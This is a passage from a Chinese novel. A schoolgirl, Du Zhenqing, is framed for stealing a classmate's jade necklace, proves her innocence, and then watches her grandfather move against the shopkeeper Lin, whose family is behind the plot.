潘玉美一路听得瞠目结舌,戳戳同样惊诧的张翠翠说:“这个蔫儿不出溜的丫头,不会是传说中过目不忘的人吧。”张翠翠恍惚地拉着潘玉美说:“她说得挺有道理,项链是写字的时候碍事,我只在教室里取下来过一次,到外头根本没有取下过……我是下午第二节课中间取下的,我就放在包袋里。” 也就是说,小偷要偷她的东西,只有下第二节课以后才有机会。张翠翠看一眼身旁的林小霜,却见林小霜眼睛发直、神情恍惚,不由心中大为狐疑。 其他同学也慢慢释去对珍卿的怀疑,而倾向于认为有人故意陷害她,教室里正酝酿着激愤、忐忑的情绪。忽见教室门从外面被打开,周先生气汹汹进来喝了一声:“杜珍卿,你站在讲台上做啥?想造反吗?” 杜珍卿就举着翡翠项链,高声地叫:“周先生,有人把张翠翠的翡翠项链放在我书包里,想诬赖我偷东西,我在跟大家自证清白。”周先生像个发怒的母老虎,过来扯着珍卿从讲桌上下来,让珍卿的脚也崴了一下。 这位周先生却不管她崴没崴脚,指着站都站不稳的珍卿说:“你咋这么不省事?你红口白牙说诬赖就诬赖,上学第一天,谁认识你是谁,为啥单单诬赖你?……”珍卿看这周老生不好纠缠的,跟她恐怕也讲不清楚道理,于是就艰难地站直身,鼻子一皱开始嚎啕大哭起来:“就是有人拿东西陷害我,我家里几箱子首饰,我都懒得戴出来,为啥要偷个翡翠项链?就是有人冤枉我,周先生不讲理,还把我弄崴脚了,我要跟我祖父说……” 说着就回座位上拿书包要走,周先生扯着珍卿不让走,说她不敬师长,不跟她道歉不许走。这动静就引来了梅先生还有巡视校园的张庶务长。他们过来问究竟是咋回事情,学生们就七嘴八舌地说起话,有脑瓜灵的把杜珍卿刚才的分析,勉强给大家复述了一遍。 梅先生、周先生、庶务长等人,看着哭得脸红脖子粗的珍卿,都有点张大嘴合不上,这孩子记性咋这么好!不过看她哭得脸通红,上气不接下气的,遇事这么能哭,说到底还是一个孩子。 梅先生按照珍卿的思路,问清张翠翠下午第二节课,她的项链还在不在身上。又问大家还记不记得,下午第二节课中间休息时,有谁到过杜珍卿同学座位附近,并且停留的时间比较长的。有的人怕事不敢乱说话,但也还有愿说话的女孩子,梅先生和庶务长就把他们带到旁边教室问话。 到最后,梅先生和庶务长留下了事主张翠翠,还有班上的其余四个女孩子,四人中就包括林小霜。其他人包括珍卿在内也叫她先回去。 珍卿这时候哭得兴起,梅先生哄她半天,终于等到她不哭了,又亲自给她送校门外。谁知这小妮儿刚才明明不哭了,到她家马车前看见她的祖父,又嗷嗷地哭起来,说有人冤枉她偷人首饰,有个周先生还让她崴了脚。 梅先生无奈地拍额头,哀叹道:“真是个难缠的小妮儿。”但她赶紧要回到教室去,把这个事弄清楚给相关人士交代,要不然后续还会有许多麻烦。 珍卿差点被冤枉成贼,想叫她忍气吞声大事化小,别说门儿连窗户都没有。她今天铁了心就是要把事情闹大了,尤其不能放过林小霜这坏秧子了。 在永陵市搞建设的三表叔,今天因有事也来到睢县,听说珍卿开学头一天,放天接她也顺道过来看看。珍卿拿出孟姜女哭长城的悲愤架势,给杜太爷和三表叔讲述了事情原委 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珍卿左脚的脚脖子崴了,老铜钮找来药酒叫袁妈给她擀擀。洗好了手和脸,珍卿怏怏地靠在炕上,让袁妈给她擀脚。袁妈见她跟离了水的鱼似的,眼睛肿得张不开,气也有点喘不上来似的,虽说现在已经没有大哭,但不时还惯性地抽抽两下。 这一副大受打击、哀哀欲绝的样子,看着真是可怜得紧。别说袁妈看得心疼,铁石心肠的杜太爷,一次次看着心里也揪起来。其实珍卿只是用力太过,哭得太狠,把眼睛哭肿鼻子哭囔囔了嗓子也哭哑了。这时候弄得脑袋都嗡嗡响,身体也难受得紧,嗨,戏演得太过,这一会儿别提多难受了。压根不是什么哀哀欲绝的样子。 过了一会儿,杜太爷拎来三个首饰箱子,一个个地打开给珍卿看。这里面的金银宝玉,各种簪钗梳篦、额带押发、花钿耳珰、胸饰项链、禁步臂钏、手镯戒指,真是应有尽有,闪闪烁烁得迷人眼目。 连袁妈都被镇唬住了,她原以为这家的小姐根本没几件首饰,原来都叫杜太爷藏着呢。杜太爷对着珍卿说:“明儿个,你把这些能戴多少戴多少,让她们那些眼皮子浅的瞅瞅看看,啥叫有钱?!啥叫阔人?!我们家的妮儿还用偷她们的烂东西!……我跟你说,你爹到了这个岁数,以后就是再娶一个,也不一定还能生孩儿。将来你奶的嫁妆,你娘的体己——你娘没啥体己了,不过你爹还能挣钱,他挣的钱以后都是你的。妮儿,我跟你说,你阔得很,别跟她们一般见识。……” 珍卿听得嘴角直抽抽,我今天高调一把,那是箭在弦上迫不得已。真戴这么多首饰,像个圣诞树似的进入学校——那她岂不成了疯狂的逗比?生怕不招贼惦记是咋地? 袁妈拿打好的热手巾,叫珍卿自己拿着焐眼睛,她就拿着药酒继续给珍卿揉脚。 珍卿还是老样子,疼也只是呲牙裂嘴的,显得表情有点儿怪,并不哇咧咧地叫疼。袁妈倒更心疼她了。 杜太爷这时候还在絮叨:“想我们睢县杜氏,明末清初的时候就发了财,是儿远近有名的富户,阔了几百年了……一会儿说是打秋风的,一会儿把人当贼,岂有此理,岂有此理,我忍不了了我……” 杜太爷驴拉磨似的,顾自转悠了半天,忽然想起来问珍卿:“你说你们学校的官儿,把林家那丫头也扣下来了?”珍卿木木地点头,他现在才想起林小霜,这智商真够可以的啊。 杜太爷紧紧地抿着嘴,没有再说话,听外面老铜钮说:“太爷,粮店的林掌柜带着他的妮儿,来赔罪来了。”珍卿就见杜太爷两只浑浊的眼一阴,珍卿心里“吼吼吼”,觉得他终于要雄起搞事情了。 看着杜太爷走了,袁妈就连连地叹,早说应该戴点儿好东西,这一让人小瞧,麻烦事儿就来了。 说不清杜太爷跟林掌柜是怎么沟通这件事,听袁妈转告老铜钮的话,说杜太爷跟林掌柜父女发了脾气,然后就把林家的人打发走了。 袁妈告诉珍卿,说太爷吩咐老铜钮,明天先去杜家庄把族长杜向渊来。再到杨家湾找一下他杨家大外甥。看来,杜太爷是想处置这个林掌柜。 珍卿还来不及欢喜,心里猛然一个咯噔。以杜太爷的城府,他想收拾林掌柜极可能已被林掌柜看出来。如此此事不妙啊,做掌柜的贪污东家财产,并且肯定做了假账,这要是送官的话罪名也不算小。杜太爷这一跟林家人翻脸,必定是已经打草惊蛇了。林掌柜贪了个够,绝不会坐以待毙的。 珍卿正有点不安,去找教务长说话的三表叔,这时候也来到杜家小院了。他先过来安慰珍卿一番,说卢教务长跟他保证,这桩偷窃案件已经查证清楚,会连夜去请示梁士茵校长,明天会给珍卿一个交代的。 珍卿听得放心,说到杜太爷跟林掌柜撕破脸,恐怕已经打草惊蛇了,请求三表叔最好派可靠的人把林掌柜一家人看住。 三表叔看着珍卿,怪异地沉默一会儿,长叹一声摸摸她脑袋说:“小花,你还小呢,林掌柜的事你向渊哥还有大表伯都在经管着呢,这林掌柜翻不了天。你一个丫头儿,把心放回肚子里,在学业上用心就行呐。你能明事理是难能可贵,最要紧还是祖父能省悟,这事操持起来就想得长远些。” 三表叔这么说,珍卿一边狐疑一边思想,慢慢地又把心放回来一些。杨家和杜家加起来还是很有力量的,不至于奈何不了一个林掌柜。即便那位景舅爷也掺和在里面,两个家族的势力也不见得怕了他。 叔侄俩聊了会儿学校的事,再聊点生活上的事气氛就轻松,可是融融气氛还是被杜太爷打断了。杜太爷把三外甥叫出去,说有要紧事情要商量。 晚饭珍卿就在炕上吃的,吃完饭,在炕桌上写了国文先生布置的作业。然后复习完了今天学的内容,她洗漱完了又麻溜地早睡了。